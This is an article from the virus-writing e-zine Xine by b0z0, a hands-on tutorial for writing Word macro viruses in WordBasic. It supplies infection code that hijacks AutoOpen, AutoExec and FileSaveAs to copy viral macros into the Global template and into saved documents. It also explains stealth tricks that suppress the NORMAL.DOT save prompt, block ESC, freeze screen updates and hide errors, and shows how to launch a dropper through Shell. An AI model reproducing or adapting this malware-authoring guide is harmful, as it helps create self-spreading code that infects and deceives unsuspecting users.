Copy Link
Add to Bookmark
Report
xine-1.008
/-----------------------------\
| Xine - issue #1 - Phile 008 |
\-----------------------------/
--------------------
. Wordmacro Viruses .
---. by b0z0 .---
------------
1. Introduction
---------------
In this last period the Wordmacro viruses became well known by any PC
user. After the first succesful macro virus attempt (the Concept macro)
many new techniques has been implemented in this type of virus
programming. Macro viruses are really simple to build, because they are
programmed in a quite simple programming language internal to Word (6.0
or later) called Wordbasic. Using some lacks of security and some risky
default options (that are also unconsidered by the tipical Word user :))
the infection and spread can easily become truth. In general the most
used AV products (i mean TSR utilities) doesn't care of DOC files,
because they are never really executed. This is the mainly advantage of
Wordmacros. Some guys also consider that Wordmacro viruses can be
considered as a multiplatform product, but this, due to some lacks of
Micro$oft work, isn't totally true.
2. How they work?
-----------------
All Word documents can contain near the text also a file called
Template, which includes some specific definitions or macros (created
with the included Word macro editing utilities) that can operate in a
certain way on the text. This included macros can be also
autoexecutable, this means that they can run at the moment while the
document is loaded or can be executed on a determinate event. Word has
some predefinited macros with reserved names, which starts on some
specific operations like saving or opening a document. This
predefinited stuff (with all others default page styles and so on) is
located in the NORMAL.DOT template file. Creating a macro with one of
the predefinited names will lead to execute something that we like at a
specified event. The AutoExec macro for example is executed at the Word
startup, the AutoOpen is executed at each document opening. So the
general rule to do a takeover on the system is to replace some of the most
used predifined macros with our virulent macros.
3.Creating a macro virus
------------------------
So the first thing to do in our Wordmacro is to put our virus macros
instead of the original ones when the infected document is opened. We
can easily put in the AutoOpen macro some lines, that will copy our
infecting routines on the right place in the main Word macro storage
(this is called the Global template), when the document will be opened.
For example if we want to copy our macro AutoClose in the Global template
our AutoOpen macro will look like this:
Sub main
MacroCopy WindowName$()+":AutoClose", "Global:AutoClose" ,1
End sub
The Macrocopy commands in Wordbasic copies a macro (from a template) to
another macro (in the same or in another template) With this we will replace
the Autoclose macro in the Global template with our Autoclose from the
current infected document (which name is given by the "WindowName$()"
function). The final ",1" means that the macro is "Execute Only". This
attribute won't let the user to read or modify the macro once that it
was created. If we don't put the final "Execute Only" attribute any lamer
will be able to change something in our virus or the user will notice
that the macros aren't really of use to his work.
A tipical Wordmacro virus will look for other more interesting
predefinited macros. That would be cool, if we had the possibility to
infect a document when it is being saved. To do this we can handle the
FileSaveAs macro. We can put in it some code, that will put near the text
that the user will save also our virulent macros. Like we told at the
start of this section the add-on macros don't directly go to the DOC
file, but to the template file (DOT). This isn't a very good thing,
because like maybe you will notice, this will prevent us to infect other
DOCs. This isn't true, because we can save anyway the user's work as a
template and Word will at the next time load the saved file normally as it
is a normal document. In this manner our macros will go around the world
with the file with the extension .DOC, but definitely it will be only a
template :) Let's see an example of a FileSaveAs macro:
Sub Main
Dim dbox As FileSaveAs 'we define which dialog box will appear
GetcurValues dbox 'we inicialize and run the dialog box
Dialog dbox
Macrocopy "Global:AutoClose", WindowName$() + ":AutoClose" ,1
Macrocopy "Global:FileSaveAs", WindowName$() + ":FileSaveAs" ,1
dbox.Format = 1 'we are saving a template
FileSaveAs dbox 'we finally save it
End Sub
In this example we copied two virulent macros (AutoClose and FileSaveAs)
in the new file, which name was given by the user in the dialog box. We
must of course first define the type of dialog box like a variable. If we
was handling another macro (say FileOpen for example) we may use another
dialog box depending on the macro (Dim dbox As FileOpen for example).
After inicializing the dialog box with GetcurValues (general inicializing
like directory where we stay, type and so on) we can finally display the
dialog box simply running Dialog and putting the name (in our case dbox)
of the just defined dialog box. Once copied our macros we defined that
we were saving a template and finally called the old save routine.
To implement our file infection macro we can also test, if the type of
file we are saving is a DOC or a DOT. If the file is something other (for
example the user is trying to save to a normal text file) it would be
good not to copy the macros. To prevent this we can put a test after
invoking the dialog box and test the dbox.Format. If the dbox.Format is
equal to 0 then the user saved in a DOC file (and we can infect it of
course transforming it in a template) and if the dbox.Format is equal to
1 the type is a template. In all the other cases the user selected
something other, that we won't infect. So the test rutine after invoking
the dialog box will be something like:
If ((dbox.Format = 0) Or (dbox.Format=1)) then
'Infect them!
End If
FileSaveAs dbox
Like for FileSaveAs we can for example try infecting on FileSave or on
FileOpen (when a file is opened) or sometime else. This just depends from
your taste.
Now that we have put some of our routines in the Global template it
would be good to write a macro, that will make our virus active when Word
starts. This macro is named AutoExec and will appear very simillar to the
AutoOpen macro. Infact in both cases we will only copy our macros instead
of the original ones if they aren't already installed.
Another important thing, while we are going resident or infecting a
document, is to control if the template (the Global if we are just going
resident or the file's template if we are infecting) is already infected
by our virulent macros. Simply we can scan all the names of the
installed macros and seek for one (of more) of our macros. This may look
like this:
For Cnt = 1 To CountMacros(0) 'we control all the macros in the Global
If Macroname$(Cnt,0) = "OurNamedMacro" Then 'it is ours?
Founded = 1 'we mark someway that we got it!
EndIf
Next Cnt
Now we have put some good macros in the Global template. When a user
will end his work and on a file and will exit from it, Word will
automatically notice him that also the NORMAL.DOT (the Global template)
has changed, asking you for a confirmation of saving. Of course this
wouldn't be a very good stealth feature. To prevent this we can now
write a macro, that will activate when we will exit from a file, that
will deactivate the Yes/No prompting. The macro that we are looking for
is the FileExit. To disable prompting we must just turn to zero a Word
internal variable and then recall the old FileExit procedure. So the macro
will be:
Sub Main
ToolsOptionsSave .GlobalDotPrompt = 0
FileExit
End Sub
The ToolsOptionSave is the well known Save folder in the Tools menu in the
submenu Option, where are defined the preferences on saving. In this case we
just directly switched off in that menu the option that enables prompting
for saving changes in NORMAL.DOT.
Additionally in all our macros it would be very good to include the "On
Error Goto" capability, that automatically call the function that is
given it as a parameter on an error occurance (after a function call or
more simply if there is a compatibility problem like we will see later).
This is *very* important when writing macros that includes dialog boxes
or interrupable jobs. Infact when a user press the Cancel button in any
dialog box an error will be generated, telling to the user that the macro
wasn't succesfully completed. With a small error handler we can hide
these errors and let our macros to continue. For example:
Sub Main
On Error Goto NoGood
; put here ya macro
; ......
; end of the macro
NoGood:
; do something else... for example only give again the control to the
; original function that the user was calling or just exit out of the
; macro
Another very important Word option that must be set (to be as stealth as
possible) is the Disableinput variable. Setting this to 1 will prevent
the interruption of the macro with the ESC key. If you don't set this a
user a little intelligent (duh... but if he was a little intelligent he
wouldn't use Word ;) ) may press ESC during the execution of your macro
(for example is you are writing to a file on the disk Word is halted for
many seconds and he can notice the activity on the disk... but anyway
under windoze the hard disk is always trashing ;))) ) for stopping it.
What is worst is that if he stopped a macro with ESC he will receive a
notice that the macro was succesfully stopped... not really a stealth
feature ;)
To continue with the stealth features (duh :) ) there is another
Wordbasic command that may be useful to hide ourself. Infact if we set
ScreenUpdate to 0 the document (or macro or everything :) ) will not be
updated during the execution of the macro. This can be very useful if
your macro also modifies something in the window with the text. To enable
again screen updating just set the variable to 1.
Maybe someone of you already noticed that the names of the functions
that we call are basically the same as the full name in the Word menus.
For example:
FileSaveAs ; is the SaveAs command in menu File
FileClose ; is the Close command in menu File
ToolsOptions ; is the Options command in menu Tools
ToolsOptionsSave ; is the Save folder in the Options command in
; the menu Tools
So, all the commands of the menu File are precedded by a 'File' and so
on. Just think what command do you want to hook, give a look to the help
for the complete syntax and go write the macro :)
4.Handling files
----------------
Aditionally in Wordbasic you can also manipulate any external file on
your hard disk. There are a few important command commonly used. The
first is Open that opens a file on the disk. There are three types of file
opening:
Open "C:\PADA.NIA" For Input As #1
Open "C:\FOOBAR" For Output As #2
Open "C:\GULLI.VER" For Append As #3
With the first we open the file only for reading, in the second case for
writing and in the last we open the file for appending data at the end
of the existing file. Like you will see we must also assign a number to
each file we open. Word can actually handle a maximum of 4 files (1-4).
When we open a file for writing if the file doesn't exist Word will
create one for us. When we want read from a file if it doesn't exist Word
will give us an error (which can be easily handled with the already
described error handler). This can be useful if we are checking is a file
exist or not. Infact to see if a file is on the disk we can only open it
for Input and if an error occours then the file doesn't exist (and maybe
we are going to create it).
After we succesfully opened a file (depending what we want to do) we
can now write something to it with the Print or with the Write command
(there is only a minor difference in the format between the two commands).
Print #2, "Chauabunga"
We can also read something from it using the Input$ function (or also the
LineInput command if we are goin to read a line that is terminated with a
CR-LF sequence):
somechar$=Input$(20,#1) ;this will read 20 characters from the file #1
Line Input #1, $our ;will put in the var $our the current line from #1
When we have done all our operations on the file we finally can close it
with a simple:
Close #n ;closes file number 'n'
There are also many other very useful commands that may be of use in our
virulent macros (for example is very interesting the function Lof() which
returns the lenght of a file in bytes, Kill() that deletes a file,
SetAttr that changes the attributes of a file, GetAttr that takes the
attributes of a file, Name to rename a file or a directory, File$ to
search in the current directory some files with a pattern and so on)
but of course i'm not going to talk about them all :) Just give a look
to the help file for a more complete guide.
5.Executing Dos Commands
------------------------
After the file handling with Wordbasic we can also execute any external
Dos program and also some of the internal Dos commands. To execute and
external program the syntax is very simple:
Shell "C:\DROPPER.COM", $type
After Shell we put the command that we would execute and the type (this
isn't mandatory) of the window of the program that is being executed. The
type can be a number from 0 to 4 where:
0 means that the window is minimized to an icon
1 means normal window
2 means like 0. this is put for compatibility with Excel
3 means big window
4 means inactive window
And this is all about the execution of external programs. Now let's give
a look to the Dos internal commands that Wordbasic support. Of course,
using this will not be spawn a window, so the user won't notice
absolutely anything. For example:
Mkdir "C:\GPL"
Shell "mkdir C:\GPL",0
These final effect of this commands will be the same, but the second will
spawn a new Dos shell for the execution of the command, and this maybe
will alert the user. It will of course also use more PC resources.
Here is a small list of very useful Dos internal commands supported by
Wordbasic:
Chdir "C:\FOO" ;changes current dir to C:\FOO
Mkdir "C:\WINSLOTH" ;creates the directory C:\WINSLOTH
Rmdir "C:\W1NL0SE" ;deletes the C:\W1NL0SE directory
path$=Environ$("PATH") ;puts in path$ the current PATH
Filecopy ..... ;to copy a file
and so on... :)
6. Other Stuff
--------------
Apart from this you can also do many other useful things with the
Wordbasic language. There is a full set of arithmetic operators and
functions for example. Commands to determine many things of a machine
(like language, cpu, mem) are also avaiable. The handling of the WIN.INI
config file is also a good optional :) as in other high level languages
the manipulation of strings is fully implemented.
7. Multiplatform features
-------------------------
One of the worst things of the Wordmacro viruses is the portability.
Infact a Wordmacro virus written using the english set of commands won't
work with the swedish version. Word will notice to the user that there
are some macros that are using unknown commands. Infact all of the names
of the menus are different. The FileClose of the english Word is for
example FileChiudi in the italian and DataiBeended in the german version.
That's simply because the names that are present into the menus are
different from version to version.
8. A real threath?
------------------
There is really simple to protect yourself from being infected. You can
just disable the automatic execution of the macros. So Wordmacros can't
be absolutely considered a real threath. Anyway the Wordbasic language is
fun and has _a lot_ of interesting commands that can be used.
Definitely Wordmacros are nice for us to have a little of fun, as usual
in our work :)
